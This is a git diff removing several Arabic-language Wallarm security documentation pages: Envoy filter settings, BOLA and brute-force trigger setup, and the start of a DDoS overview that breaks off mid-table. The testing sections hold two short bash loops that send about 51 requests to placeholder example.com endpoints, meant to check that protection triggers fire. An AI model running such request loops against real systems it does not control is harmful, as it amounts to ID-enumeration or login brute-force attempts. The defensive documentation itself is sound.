'envoy.http_connection_manager' للوكيل الطلبات HTTP. لهذا المرشح مجموعة خاصة به من مرشحات HTTP التي يمكن تطبيقها على الطلب. - -تم تصميم وحدة Wallarm كمرشح HTTP لـ Envoy. يتم وضع الإعدادات العامة للوحدة في قسم مخصص لمرشح ال HTTP 'wallarm': - -``` -listeners: - - address: - filter_chains: - - filters: - - name: envoy.http_connection_manager - typed_config: - http_filters: - - name: wallarm - typed_config: - "@type": type.googleapis.com/wallarm.Wallarm - <تكوين وحدة Wallarm> - ... -``` - -!!! warning "تمكين معالجة جسم الطلب" - لتمكين وحدة Wallarm من معالجة جسم طلب HTTP، يجب وضع مرشح ال buffer قبل العقدة التي يتم فيها التصفية في سلسلة مرشحات HTTP لـ Envoy. على سبيل المثال: - - ``` - http_filters: - - name: envoy.buffer - typed_config: - "@type": type.googleapis.com/envoy.config.filter.http.buffer.v2.Buffer - max_request_bytes: <الحد الأقصى لحجم الطلب (بالبايت)> - - name: wallarm - typed_config: - "@type": type.googleapis.com/wallarm.Wallarm - <تكوين وحدة Wallarm> - ... - ``` - - إذا تجاوز حجم الطلب الوارد قيمة المعلمة `max_request_bytes`، فسيتم إسقاط هذا الطلب وسيرجع Envoy الرمز الاستجابة `413` (“Payload Too Large”). - -## إعدادات تصفية الطلب - -تحتوي القسم `rulesets` من الملف على المعلمات ذات الصلة بإعدادات تصفية الطلب: - -``` -rulesets: -- name: rs0 - pdb: /etc/wallarm/proton.db - custom_ruleset: /etc/wallarm/custom_ruleset - key: /etc/wallarm/private.key - general_ruleset_memory_limit: 0 - enable_libdetection: "on" - ... -- name: rsN: - ... -``` - -الإدخالات `rs0` ... `rsN` هي مجموعات من المعلمات والتي يمكن أن تكون واحدة أو أكثر. يمكن أن تكون الجماعات بأي اسم (حتى يمكن الإشارة إلى هذه الجماعات في وقت لاحق عبر المعلمة [`ruleset`](#ruleset_param) في القسم `conf`). يجب أن يكون هناك مجموعة واحدة على الأقل موجودة في التكوين العقدة التي يتم فيها التصفية (على سبيل المثال، بالاسم `rs0`). - -هذا القسم ليس له قيم افتراضية. تحتاج إلى تحديد القيم بشكل صريح في ملف التكوين. - -!!! info "مستوى التعريف" - يمكن تعريف هذا القسم على مستوى العقدة التي يتم فيها التصفية فقط. - -المعلمة | الوصف | القيمة الافتراضية ---- | ---- | ----- -`pdb` | المسار إلى ملف `proton.db`. يحتوي هذا الملف على الإعدادات العامة لتصفية الطلب، التي لا تعتمد على هيكل التطبيق. | `/etc/wallarm/proton.db` -`custom_ruleset` | المسار إلى ملف [custom ruleset][link-lom] الذي يحتوي على معلومات حول التطبيق المحمي وإعدادات العقدة التي يتم فيها التصفية. | `/etc/wallarm/custom_ruleset` -`key` | المسار إلى الملف الذي يحتوي على المفتاح الخاص Wallarm المستخدم للتشفير / فك التشفير من الملفات proton.db و custom ruleset. | `/etc/wallarm/private.key` -`general_ruleset_memory_limit` | الحد الأقصى للكمية من الذاكرة التي يمكن استخدامها بواسطة مثيل واحد من proton.db و custom ruleset. إذا تجاوز الحد الذاكري أثناء معالجة بعض الطلبات، سيحصل المستخدم على خطأ 500. يمكن استخدام اللاحقات التالية في هذا المعلمة:
  • `k` أو `K` للكيلوبايت
  • `m` أو `M` للميجابايت
  • `g` أو `G` لل غيغابايت
قيمة `0` تعطل الحد. | `0` -`enable_libdetection` | تمكين / تعطيل التحقق الإضافي من هجمات الSQL Injection باستخدام [مكتبة **libdetection**](../../../about-wallarm/protecting-against-attacks.md#library-libdetection). إذا لم تؤكد المكتبة الحمولة الخبيثة، فإن الطلب يعتبر مشروعًا. يتيح استخدام مكتبة **libdetection** تقليل عدد الإيجابيات الكاذبة بين هجمات الSQL Injection.

بشكل افتراضي، تم تمكين **libdetection**. للكشف عن الهجمات بشكل أفضل، نوصي بتمكين المكتبة.

عند تحليل الهجمات باستخدام **libdetection**، قد يزيد مقدار الذاكرة المستهلكة من عمليات NGINX و Wallarm بنسبة حوالي 10 ٪. | `on` - -## إعدادات وحدة Postanalytics - -تحتوي القسم `tarantool` من عقدة التصفية على المعلمات ذات الصلة بوحدة Postanalytics: - -``` -tarantool: - server: - - uri: localhost:3313 - max_packets: 512 - max_packets_mem: 0 - reconnect_interval: 1 -``` - -إدخال `server` يعتبر مجموعة من المعلمات التي تصف الإعدادات لخادم Tarantool. - -!!! info "مستوى التعريف" - يمكن تعريف هذا القسم على مستوى العقدة التي يتم فيها التصفية فقط. - -المعلمة | الوصف | القيمة الافتراضية ---- | ---- | ----- -`uri` | نص مع بيانات الاعتماد المستخدمة للاتصال بخادم Tarantool. تنسيق السلسلة هو `IP address` أو `domain name: port`. | `localhost: 3313` -`max_packets` | حد عدد الطلبات المسلسلة التي سيتم إرسالها إلى Tarantool. لإزالة الحد، قم بتعيين `0` كقيمة للمعلمة. | `512` -`max_packets_mem` | حد الحجم الإجمالي (بالبايت) للطلبات المسلسلة التي سيتم إرسالها إلى Tarantool. | `0` (الحجم غير محدود) -`reconnect_interval` | الفاصل الزمني (بالثواني) بين محاولات إعادة الاتصال بـ Tarantool. القيمة `0` تعني أن العقدة التي يتم فيها التصفية ستحاول إعادة الاتصال بالخادم بأسرع ما يمكن إذا أصبح الخادم غير متاح (لا يوصى به). | `1` - -## الإعدادات الأساسية - -تحتوي القسم `conf` من تكوين Wallarm على المعلمات التي تؤثر على عمليات العقدة التي يتم فيها التصفية الأساسية: - -``` -conf: - ruleset: rs0 - mode: "monitoring" - mode_allow_override: "off" - application: 42 - process_time_limit: 1000 - process_time_limit_block: "attack" - request_memory_limit: 104857600 - wallarm_status: "off" - wallarm_status_format: "json" - parse_response: true - unpack_response: true - parse_html_response: true -``` - -!!! info "مستوى التعريف" - لمستوى حماية أكثر مرونة، يمكن تجاوز هذا القسم على مستوى الطريق أو المضيف الافتراضي: - - * على مستوى الطريق: - - ``` - routes: - - match: - typed_per_filter_config: - wallarm: - "@type": type.googleapis.com/wallarm.WallarmConf - <معلمات القسم> - ``` - - * على مستوى المضيف الافتراضي: - ``` - virtual_hosts: - - name: <اسم المضيف الافتراضي> - typed_per_filter_config: - wallarm: - "@type": type.googleapis.com/wallarm.WallarmConf - <معلمات القسم> - ``` - تمتلك المعلمات في القسم `conf` المجاوز على مستوى الطريق الأولوية على المعلمات في القسم المعرف على مستوى المضيف الافتراضي الذي بدوره يمتلك أولوية أعلى من المعلمات المدرجة في القسم على مستوى العقدة التي يتم فيها التصفية. - -المعلمة | الوصف | القيمة الافتراضية ---- | ---- | ----- -`ruleset` | إحدى مجموعات المعلمة التي يتم تعريفها في القسم `rulesets`. تحدد مجموعة المعلمات هذه القواعد التي سيتم استخدامها لتصفية الطلبات.
If this parameter is omitted from the `conf` section of the filtering node, then it should be present in the `conf` section overridden on the route or virtual host level. | - -`mode` | وضع العقدة:
  • `block` - لحظر الطلبات الخبيثة.
  • `monitoring` - لتحليل الطلبات ولكن دون حظرها.
  • `safe_blocking` - لحظر هذه الطلبات الخبيثة فقط التي تنشأ من [عناوين ال IP في القائمة الرمادية](../../../user-guides/ip-lists/overview.md).
  • `monitoring` - لتحليل الطلبات ولكن دون حظرها.
  • `off` - لتعطيل تحليل ومعالجة حركة المرور.

[الوصف التفصيلي لأوضاع التصفية →](../../configure-wallarm-mode.md) | `block` -`mode_allow_override` | يسمح بتجاوز وضع العقدة التي يتم فيها التصفية التي يتم تعيينها عبر المعلمة `mode` مع [custom ruleset][link-lom]:
  • `off` - تجاهل custom ruleset.
  • `strict` - فقط يمكن أن تعزز custom ruleset وضع التشغيل.
  • `on` - من الممكن تعزيز وتخفيف وضع التشغيل.
على سبيل المثال، إذا كانت المعلمة `mode` مضبوطة على قيمة `monitoring` وكانت المعلمة `mode_allow_override` مضبوطة على القيمة `strict`، فإنه سيكون من الممكن حظر بعض الطلبات (`block`) ولكن لا يمكن تعطيل العقدة التي يتم فيها التصفية بالكامل (`off`). | `off` -`application` | التعريف الفريد للبرنامج المحمي المراد استخدامه في Wallarm Cloud. يمكن أن تكون القيمة عدد صحيح موجب باستثناء `0`.

[المزيد من التفاصيل حول إعداد التطبيقات →](../../../user-guides/settings/applications.md) | `-1` -`partner_client_uuid` | معرف فريد لـ [المستأجر](../../../installation/multi-tenant/overview.md) لوحدة Wallarm [multi-tenant](../../../installation/multi-tenant/deploy-multi-tenant-node.md). يجب ان تكون القيمة سلسلة في تنسيق [UUID](https://en.wikipedia.org/wiki/Universally_unique_identifier#Format)، على سبيل المثال:
  • `11111111-1111-1111-1111-111111111111`
  • `123e4567-e89b-12d3-a456-426614174000`

تعرف كيفية:

  • [الحصول على UUID للمستأجر أثناء إنشاء المستأجر →](../../../installation/multi-tenant/configure-accounts.md#step-3-create-the-tenant-via-the-wallarm-api)
  • [الحصول على قائمة UUIDs للمستأجرين الحاليين →](../../../updating-migrating/older-versions/multi-tenant.md#get-uuids-of-your-tenants)
      • | - -`process_time_limit` |

      تم تجاهل هذا المعلمة

      ابتداء من الإصدار 3.6، يوصى بضبط بدقة كشف الهجوم `overlimit_res` باستخدام القاعدة **ضبط من الهجوم overlimit_res**.
      سيتم إزالة المعلمة `process_time_limit` المؤقتة ولكن ستتم إزالتها في الإصدارات المستقبلية.

      الحد من وقت العملية لطلب واحد (بالميليثانية). إذا لم يتم معالجة الطلب في الكمية المحددة من الوقت، فسيتم تسجيل رسالة خطأ في ملف السجل وسيتم وضع علامة على الطلب كهجوم `overlimit_res`. | `1000` -`process_time_limit_block` |

      تم تجاهل هذا المعلمة

      ابتداء من الإصدار 3.6، يوصى بضبط بدقة كشف الهجوم `overlimit_res` باستخدام القاعدة **ضبط كشف الهجوم overlimit_res**.
      سيتم إزالة المعلمة `process_time_limit_block` المؤقتة ولكن ستتم إزالتها في الإصدارات المستقبلية.

      الإجراء الذي يتم اتخاذه عندما يتجاوز وقت معالجة الطلب الحد المحدد عبر المعلمة `process_time_limit`:
      • `off` - دائمًا يتم تجاهل الطلبات.
      • `on` - دائمًا يتم حظر الطلبات إلا إذا كان `mode: "off"`.
      • `attack` - يعتمد على وضع حظر الهجوم الذي يتم ضبطه عبر المعلمة `mode`:
        • `off` - الطلبات لا تتم معالجتها.
        • `monitoring` - الطلبات يتم تجاهلها.
        • `block` - الطلبات يتم حظرها.
      | `attack` -`wallarm_status` | سواء كان يتم تمكين [خدمة إحصاءات العقدة التي يتم فيها التصفية](../../configure-statistics-service.md). | `false` -`wallarm_status_format` | تنسيق [إحصاءات العقدة التي يتم فيها التصفية](../../configure-statistics-service.md): `json` أو `prometheus`. | `json` -`disable_acl` | يسمح بتعطيل تحليل أصول الطلبات. إذا تم التعطيل (`on`)، لن تقوم العقدة التي يتم فيها التصفية بتنزيل [قوائم الاIP ](../../../user-guides/ip-lists/overview.md) من Wallarm Cloud وستتجاهل تحليل عناوين IP مصدر الطلب. | `off` -`parse_response` | سواء كان يتم تحليل استجابات التطبيق. مطلوب تحليل الاستجابة لاكتشاف الثغرات الأمنية في أثناء [الكشف السلبي](../../../about-wallarm/detecting-vulnerabilities.md#passive-detection) و[التحقق من الهددات النشطة](../../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification).

      القيم الممكنة هي `true` (تم تمكين تحليل الاستجابة) و `false` (تم تعطيل تحليل الاستجابة). | `true` -`unpack_response` | سواء كان يتم فك ضغط البيانات المضغوطة المسترجعة في استجابة التطبيق. القيم الممكنة هي `true` (تم تمكين الفك) و `false` (تم تعطيل الفك).

      هذا المعلم فعال فقط إذا `parse_response true`. | `true` -`parse_html_response` | سواء كان يتم تطبيق محللات HTML على الكود HTML المستلم في استجابة التطبيق. القيم الممكنة هي `true` (تم تطبيق محلل ال HTML) و `false` (لم يتم تطبيق محلل HTML).

      هذا المعلم فعال فقط إذا `parse_response true`. | `true` diff --git a/docs/latest-ar/admin-en/configuration-guides/ldap/ldap.md b/docs/latest-ar/admin-en/configuration-guides/ldap/ldap.md deleted file mode 100644 index c7e205dee0..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/ldap/ldap.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/ldap/ldap.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/protecting-against-bola-trigger.md b/docs/latest-ar/admin-en/configuration-guides/protecting-against-bola-trigger.md deleted file mode 100644 index 3b4b612331..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/protecting-against-bola-trigger.md +++ /dev/null @@ -1,81 +0,0 @@ -# الحماية اليدوية من هجمات BOLA - -الهجمات السلوكية مثل [خلل التحقق من صلاحيات الوصول للكائنات (BOLA)](../../attacks-vulns-list.md#broken-object-level-authorization-bola) تستغل ثغرة بنفس الاسم. تمكن هذه الثغرة المهاجم من الوصول إلى كائن عن طريق معرفه من خلال طلب API وإما قراءة بياناته أو تعديلها متجاوزًا آلية التحقق من الهوية. يوضح هذا المقال تدابير الحماية من BOLA التي توفرها مشغلات [WAAP](../../about-wallarm/waap-overview.md). - -!!! info "تدابير حماية BOLA الأخرى" - كبديل أو إضافة، يمكنك تهيئة [الحماية الآلية من BOLA لنقاط النهاية التي يعثر عليها اكتشاف API](protecting-against-bola.md). - -## التهيئة - -بشكل افتراضي، تكتشف Wallarm تلقائيًا الثغرات من نوع BOLA (المعروفة أيضًا باسم IDOR) فقط لكنها لا تكتشف محاولات استغلالها. - -لكي يتعرف عقدة Wallarm على هجمات BOLA: - -1. افتح واجهة Wallarm → **مشغلات** وتابع إلى إعداد مشغل **BOLA**. -1. حدد شروط تعريف الطلبات كهجوم BOLA: - - * عدد **الطلبات من نفس عنوان IP** خلال فترة زمنية معينة. - * **URI**الذي يحتاج إلى الحماية من هجمات BOLA والذي يتلقى عدد الطلبات المحدد. يجب أن تكون القيمة عبارة عن نقطة نهاية API تشير إلى كائن بمعرفه لأن هذا النوع من نقاط النهاية معرضة بشكل محتمل لهجمات BOLA. - - لتحديد معلمة PATH التي تحدد كائن، استخدم الرمز `*`، مثلًا: - - ```bash - example.com/shops/*/financial_info - ``` - - يمكن تهيئة URI عبر [منشئ URI](../../user-guides/rules/rules.md#uri-constructor) أو [نموذج التحرير المتقدم](../../user-guides/rules/rules.md#advanced-edit-form) في نافذة إنشاء المشغل. - - * (اختياري) [**التطبيق**](../../user-guides/settings/applications.md) الذي يحتاج إلى الحماية من هجمات BOLA والذي يتلقى عدد الطلبات المحدد. - - إذا كنت تستخدم نفس الاسم لنطاقات متعددة، يُوصى باستخدام هذا الفلتر للإشارة إلى التطبيق الذي يُعين له نطاق في فلتر **URI**. - - * (اختياري) عنوان أو عناوين **IP** التي تنشأ منها الطلبات. -1. اختر ردود فعل المشغل: - - * **وسم كـ BOLA**. الطلبات التي تتجاوز العتبة مُوسمة كهجوم BOLA وتُعرض في قسم **الهجمات** في واجهة Wallarm. عقدة Wallarm لا تحظر هذه الطلبات الخبيثة. - * [**حظر عناوين IP**](../../user-guides/ip-lists/overview.md) التي تنشأ عنها الطلبات الخبيثة وفترة الحظر. - - ستحظر عقدة Wallarm كلاً من الطلبات المشروعة والخبيثة (بما في ذلك هجمات BOLA) الصادرة عن عناوين IP المحظورة. - - * [**إدراج عناوين IP في القائمة الرمادية**](../../user-guides/ip-lists/overview.md) التي تنشأ عنها الطلبات الخبيثة وفترة الحظر. - - ستحظر عقدة Wallarm الطلبات الصادرة عن عناوين IP الموجودة في القائمة الرمادية فقط إذا كانت تتضمن [علامات التحقق من الإدخال](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks)، [علامات `vpatch`](../../user-guides/rules/vpatch-rule.md) أو هجمات مخصصة. - - !!! info "هجمات BOLA الصادرة عن عناوين IP في القائمة الرمادية" - هجمات BOLA الصادرة عن عناوين IP في القائمة الرمادية لا يتم حظرها. - - ![مشغل BOLA](../../images/user-guides/triggers/trigger-example7.png) - -1. احفظ المشغل وانتظر [اكتمال مزامنة السحابة والعقدة](../configure-cloud-node-synchronization-en.md) (عادةً ما يستغرق ذلك من 2 إلى 4 دقائق). - -## الاختبار - -1. أرسل عدد الطلبات الذي يتجاوز العتبة المُهيأة إلى URI المحمي. على سبيل المثال، 50 طلبًا بقيم `{shop_id}` مختلفة إلى النقطة النهائية `https://example.com/shops/{shop_id}/financial_info`: - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://example.com/shops/$i/financial_info ; done - ``` -1. إذا كانت ردة فعل المشغل **حظر عنوان IP**، افتح واجهة Wallarm → **قوائم IP** → **القائمة السوداء** وتحقق من أن عنوان IP المصدر محظور. - - إذا كانت ردة فعل المشغل **إدراج عنوان IP في القائمة الرمادية**، تحقق من قسم **قوائم IP** → **القائمة الرمادية** في واجهة Wallarm. -1. افتح قسم **الهجمات** وتحقق من أن الطلبات معروضة في القائمة كهجوم BOLA. - - ![هجوم BOLA في واجهة المستخدم](../../images/user-guides/events/bola-attack.png) - - يُقابل عدد الطلبات المعروضة عدد الطلبات المُرسلة بعد تجاوز عتبة المشغل ([مزيد من التفاصيل حول اكتشاف الهجمات السلوكية](../../attacks-vulns-list.md#behavioral-attacks)). إذا كان هذا العدد أكبر من 5، يُطبق أخذ عينات الطلبات وتُعرض تفاصيل الطلب فقط لأول 5 ضربات ([مزيد من التفاصيل حول أخذ عينات الطلبات](../../user-guides/events/analyze-attack.md#sampling-of-hits)). - - للبحث عن هجمات BOLA، يمكنك استخدام علامة البحث `bola`. يتم وصف جميع الفلاتر في [التعليمات حول استخدام البحث](../../user-guides/search-and-filters/use-search.md). - -## أولويات معالجة المشغلات - ---8<-- "../include/trigger-processing-priorities.md" - -## المتطلبات والقيود - -**المتطلبات** - -لحماية الموارد من هجمات BOLA، تُطلب عناوين IP الحقيقية للعملاء. إذا تم نشر عقدة التصفية خلف خادم وكيل أو موزع الحمل، [قم بتهيئة](../using-proxy-or-balancer-en.md) عرض عناوين IP الحقيقية للعملاء. - -**القيود** - -عند البحث عن علامات هجمات BOLA، تقوم عقد Wallarm بتحليل طلبات HTTP التي لا تحتوي على علامات أنواع الهجمات الأخرى. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/protecting-against-bola.md b/docs/latest-ar/admin-en/configuration-guides/protecting-against-bola.md deleted file mode 100644 index dd680465a0..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/protecting-against-bola.md +++ /dev/null @@ -1,41 +0,0 @@ -[variability-in-endpoints-docs]: ../../api-discovery/exploring.md#variability-in-endpoints -[changes-in-api-docs]: ../../api-discovery/track-changes.md -[bola-protection-for-endpoints-docs]: ../../api-discovery/bola-protection.md - -# حماية BOLA التلقائية لنقاط النهاية المكتشفة بواسطة استكشاف API  - -يصف هذا المقال الحماية التلقائية لـBOLA لنقاط النهاية التي تم اكتشافها بواسطة [استكشاف API](../../api-discovery/overview.md) (APID). - -!!! info "تدابير حماية BOLA الأخرى" - بالإضافة إلى ذلك، يمكنك تكوين [الحماية من BOLA بواسطة الزناد](protecting-against-bola-trigger.md). - ---8<-- "../include/bola-intro.md" - -## منطق الحماية - ---8<-- "../include/waf/features/bola-mitigation/bola-auto-mitigation-logic.md" - -## التكوين - -!!! info "استكشاف API مطلوب" - الحماية التلقائية من BOLA متاحة إذا كنت تستخدم وحدة **[استكشاف API](../../api-discovery/overview.md)**. - -لتفعيل الحماية التلقائية، انتقل إلى وحدة التحكم Wallarm → **حماية BOLA** وحول الزر إلى الحالة المفعلة: - -![زناد BOLA](../../images/user-guides/bola-protection/trigger-enabled-state.png) - -ثم يمكنك تعديل السلوك الافتراضي لـWallarm بتعديل قالب كشف BOLA التلقائي كما يلي: - -* تغيير العتبة للطلبات القادمة من نفس الـIP لتُعد كهجمات BOLA. -* تغيير الرد عند تجاوز العتبة: - - * **إدراج الـIP في القائمة السوداء** - سيقوم Wallarm بـ[إدراج IPs](../../user-guides/ip-lists/overview.md) مصدر هجوم BOLA في القائمة السوداء وبالتالي سيحظر كل الحركة المتولدة من هذه IPs. - * **إدراج الـIP في القائمة الرمادية** - سيقوم Wallarm بـ[إدراج IPs](../../user-guides/ip-lists/overview.md) مصدر هجوم BOLA في القائمة الرمادية وبالتالي سيحظر فقط الطلبات الضارة القادمة من هذه IPs وفقط إذا كان عقد التصفية في وضع الحظر الآمن [الوضع](../../admin-en/configure-wallarm-mode.md). - -![زناد BOLA](../../images/user-guides/bola-protection/trigger-template.png) - -## التعطيل - -لتعطيل الحماية التلقائية من BOLA، حول الزر إلى الحالة المعطلة في قسم **حماية BOLA**. - -بمجرد انتهاء اشتراكك في استكشاف API، يتم تعطيل الحماية التلقائية من BOLA تلقائيًا. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/protecting-against-bruteforce.md b/docs/latest-ar/admin-en/configuration-guides/protecting-against-bruteforce.md deleted file mode 100644 index a9992a46c4..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/protecting-against-bruteforce.md +++ /dev/null @@ -1,74 +0,0 @@ -# حماية قوة الاختراق العشوائية - -الهجوم بقوة الاختراق العشوائية هو أحد أنواع الهجمات التي لا تقوم Wallarm بكشفها تلقائيًا، يجب تكوين كشفها بشكل صحيح كما يشرح هذا الدليل. - -[الهجمات العشوائية النمطية](../../attacks-vulns-list.md#brute-force-attack) تتضمن اختراق كلمة السر بالقوة العشوائية، واختراق المعرفات الجلسات بالقوة العشوائية، وتعبئة بيانات الاعتماد. تتميز هذه الهجمات بعدد كبير من الطلبات بقيم معاملات مختلفة مرسلة إلى URI نمطي لفترة زمنية محدودة. - -لاحظ أن: - -* الحماية من هجمات القوة العشوائية الموصوفة في هذه المقالة هي إحدى طرق التحكم في الحمولة التي توفرها Wallarm - كبديل، يمكنك تطبيق [تحديد معدل الطلبات](../../user-guides/rules/rate-limiting.md). استخدم تحديد معدل الطلبات لإبطاء حركة الطلبات الواردة وحماية القوة العشوائية لمنع الهجوم بشكل كامل. -* بجانب حماية القوة العشوائية، يمكنك تكوين حماية ضد [تصفح القوة العشوائية](protecting-against-forcedbrowsing.md) بطريقة مشابهة. - -## التكوين - -لتكوين حماية القوة العشوائية: - -1. افتح واجهة مستخدم Wallarm → **المُحفّزات** وافتح نافذة إنشاء محفز جديد. -1. اختر شرط **القوة العشوائية**. -1. حدد العتبة لعدد الطلبات الصادرة من نفس عنوان IP لفترة زمنية. -1. لتفعيل المحفز فقط للطلبات المرسلة إلى نقاط نهائية محددة، حدد مرشح **URI**: - - * إلى جانب إدخال URIs محددة، يمكنك [تكوين أنماط](../../user-guides/rules/rules.md) باستخدام البدائل والتعبيرات العادية. - - ![مثال على محفز القوة العشوائية](../../images/user-guides/triggers/trigger-example6.png) - - * إذا كنت تكوين حماية ضد اختراق كلمة السر بالقوة العشوائية، حدد الـ URI المستخدم للمصادقة. - * إذا كنت تستخدم URIs متداخلة، فكر في [أولويات معالجة المحفزات](#trigger-processing-priorities). - * إذا لم يتم تحديد URI، سيتفعل المحفز في أي نقطة نهائية تتجاوز فيها عدد الطلبات العتبة. - -1. إذا لزم الأمر، حدد مرشحات أخرى للمحفز: - - * **التطبيق** الذي توجه إليه الطلبات. - * عنوان أو أكثر من عناوين **IP** التي يتم إرسال الطلبات منها. - -1. اختر ردود فعل المحفز: - - * **تمييز كقوة عشوائية**. الطلبات المستلمة بعد تجاوز العتبة ستُميز كهجوم بالقوة العشوائية وستُعرض في قسم **الهجمات** بواجهة مستخدم Wallarm. - * **إضافة عنوان IP إلى القائمة السوداء** والفترة لحجب عناوين IP لمصادر الطلبات الخبيثة إلى [القائمة السوداء](../../user-guides/ip-lists/overview.md). سيحجب عقدة Wallarm جميع الطلبات الصادرة من عنوان IP في القائمة السوداء بعد تجاوز العتبة. - * **إضافة عنوان IP إلى القائمة الرمادية** والفترة لإضافة عناوين IP لمصادر الطلبات الخبيثة إلى [القائمة الرمادية](../../user-guides/ip-lists/overview.md). ستحجب عقدة Wallarm الطلبات الصادرة من عناوين IP في القائمة الرمادية فقط إذا احتوت الطلبات على علامات [التحقق من صحة الإدخال](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks)، [الـ`vpatch`](../../user-guides/rules/vpatch-rule.md) أو [هجوم مخصص](../../user-guides/rules/regex-rule.md). لا تُحجب هجمات القوة العشوائية الصادرة من عناوين IP في القائمة الرمادية. - -1. احفظ المحفز وانتظر [اكتمال مزامنة السحابة والعقدة](../configure-cloud-node-synchronization-en.md) (عادةً ما تستغرق 2-4 دقائق). - -يمكنك تكوين عدة محفزات لحماية القوة العشوائية. - -## الاختبار - -1. أرسل عدد الطلبات الذي يتجاوز العتبة المكونة إلى الـ URI المحمي. على سبيل المثال، 50 طلبًا إلى `example.com/api/v1/login`: - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://example.com/api/v1/login ; done - ``` -1. إذا كانت ردة فعل المحفز **إضافة عنوان IP إلى القائمة السوداء**، افتح واجهة مستخدم Wallarm → **قوائم IP** → **القائمة السوداء** وتحقق من حجب عنوان IP المصدر. - - إذا كانت ردة فعل المحفز **إضافة عنوان IP إلى القائمة الرمادية**، تحقق من قسم **قوائم IP** → **القائمة الرمادية** في واجهة مستخدم Wallarm. -1. افتح قسم **الهجمات** وتحقق من عرض الطلبات في القائمة كهجوم بالقوة العشوائية. - - ![هجوم القوة العشوائية في الواجهة](../../images/user-guides/events/brute-force-attack.png) - - يتوافق عدد الطلبات المعروضة مع عدد الطلبات المرسلة بعد تجاوز عتبة المحفز ([مزيد من التفاصيل عن كشف الهجمات السلوكية](../../attacks-vulns-list.md#behavioral-attacks)). إذا كان هذا العدد أكبر من 5، يتم تطبيق أخذ عينات من الطلبات ويتم عرض تفاصيل الطلب فقط لأول 5 ضربات ([مزيد من التفاصيل عن أخذ عينات من الطلبات](../../user-guides/events/analyze-attack.md#sampling-of-hits)). - - للبحث عن هجمات القوة العشوائية، يمكنك استخدام مرشح `brute`. جميع المرشحات موصوفة في [التعليمات حول استخدام البحث](../../user-guides/search-and-filters/use-search.md). - -## أولويات معالجة المحفزات - ---8<-- "../include/trigger-processing-priorities.md" - -## المتطلبات والقيود - -**المتطلبات** - -لحماية الموارد من هجمات القوة العشوائية، تُطلب عناوين IP الحقيقية للعملاء. إذا كان العقد تصفية موزعًا خلف خادم وكيل أو موازن الحمل، [قم بالتكوين](../using-proxy-or-balancer-en.md) لعرض عناوين IP الحقيقية للعملاء. - -**القيود** - -عند البحث عن علامات هجوم القوة العشوائية، تقوم عقد Wallarm بتحليل الطلبات HTTP التي لا تحتوي على علامات لأنواع هجوم أخرى. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/protecting-against-ddos.md b/docs/latest-ar/admin-en/configuration-guides/protecting-against-ddos.md deleted file mode 100644 index e7088caca9..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/protecting-against-ddos.md +++ /dev/null @@ -1,47 +0,0 @@ -# حماية من هجمات DDoS - -هجوم DDoS (الحرمان من الخدمة الموزع) هو نوع من الهجمات الإلكترونية التي يسعى فيها المهاجم إلى جعل موقع ويب أو خدمة عبر الإنترنت غير متاحة عن طريق إغراقها بالمرور من مصادر متعددة. يصف هذا الوثيقة التوصيات للحماية من هجمات DDoS والطرق لحماية مواردك مع Wallarm. - -غالبًا ما تُشن هجمات DDoS من شبكة من أنظمة الحاسوب المخترقة، غالبًا ما تُعرف بأسم botnet. يستخدم المهاجمون هذه الأنظمة لإرسال حجم كبير من المرور إلى الهدف، مما يؤدي إلى تحميل الخادم ومنعه من القدرة على الاستجابة للطلبات المشروعة. يمكن استهداف هجمات DDoS لأي نوع من الخدمات عبر الإنترنت، بما في ذلك المواقع الإلكترونية، والألعاب عبر الإنترنت، وحتى منصات الوسائط الاجتماعية. - -هناك العديد من التقنيات التي يمكن للمهاجمين استخدامها لشن هجوم DDoS، ويمكن أن تختلف الطرق والأدوات التي يستخدمونها بشكل كبير. بعض الهجمات بسيطة نسبيًا وتستخدم تقنيات منخفضة المستوى مثل إرسال أعداد كبيرة من طلبات الاتصال إلى خادم، في حين أن الهجمات الأخرى أكثر تعقيدًا وتستخدم تكتيكات معقدة مثل تزوير عناوين IP أو استغلال نقاط الضعف في بنية الشبكة. - -## تصنيف هجمات DDoS - -هناك عدة أنواع من هجمات DDoS التي يمكن للمهاجمين استخدامها لتعطيل توفر موقع ويب أو خدمة عبر الإنترنت. فيما يلي الأنواع الشائعة من هجمات DDoS: - -| طبقة OSI / نوع الهجوم | [هجمات التحويل والتضخيم](#volum-amplif-attacks) | [الاستغلالات البروتوكول والقنابل المنطقية](#proto-attacks-logicbombs) | -| ---- | ----------- | -------- | -| L3/L4 |
      • هجوم الفيضان UDP: تُرسل هذه الهجمات أعدادًا كبيرة من حزم UDP إلى هدف في محاولة لاستهلاك النطاق الترددي المتاح وتعطيل الخدمة.
      • هجوم الفيضان ICMP (هجمات Smurf): تستخدم هذه الهجمات ICMP لإرسال أعداد كبيرة من طلبات الصدى (المعروفة باسم طلبات "ping") إلى هدف في محاولة لاستهلاك النطاق الترددي وتعطيل الخدمة.
      |
      • هجوم الفيضان SYN: تستغل هذه الهجمات الطريقة التي يتم بها إنشاء اتصالات TCP. يرسل المهاجم عددًا كبيرًا من حزم SYN إلى هدف، لكنه لا يكمل أبدًا عملية المصافحة الثلاثية المستخدمة لإنشاء اتصال. يمكن أن يربط هذا موارد خادم الهدف، حيث ينتظر اكتمال عملية المصافحة.
      • Ping of Death: تُرسل هذه الهجمات حزمًا كبيرة الحجم إلى هدف في محاولة لتعطيله. الحزم أكبر من الحجم الأقصى الذي يمكن للهدف معالجته، ومحاولة التعامل معها يمكن أن تتسبب في تعطل الهدف أو عدم توفره.
      | -| L7 |
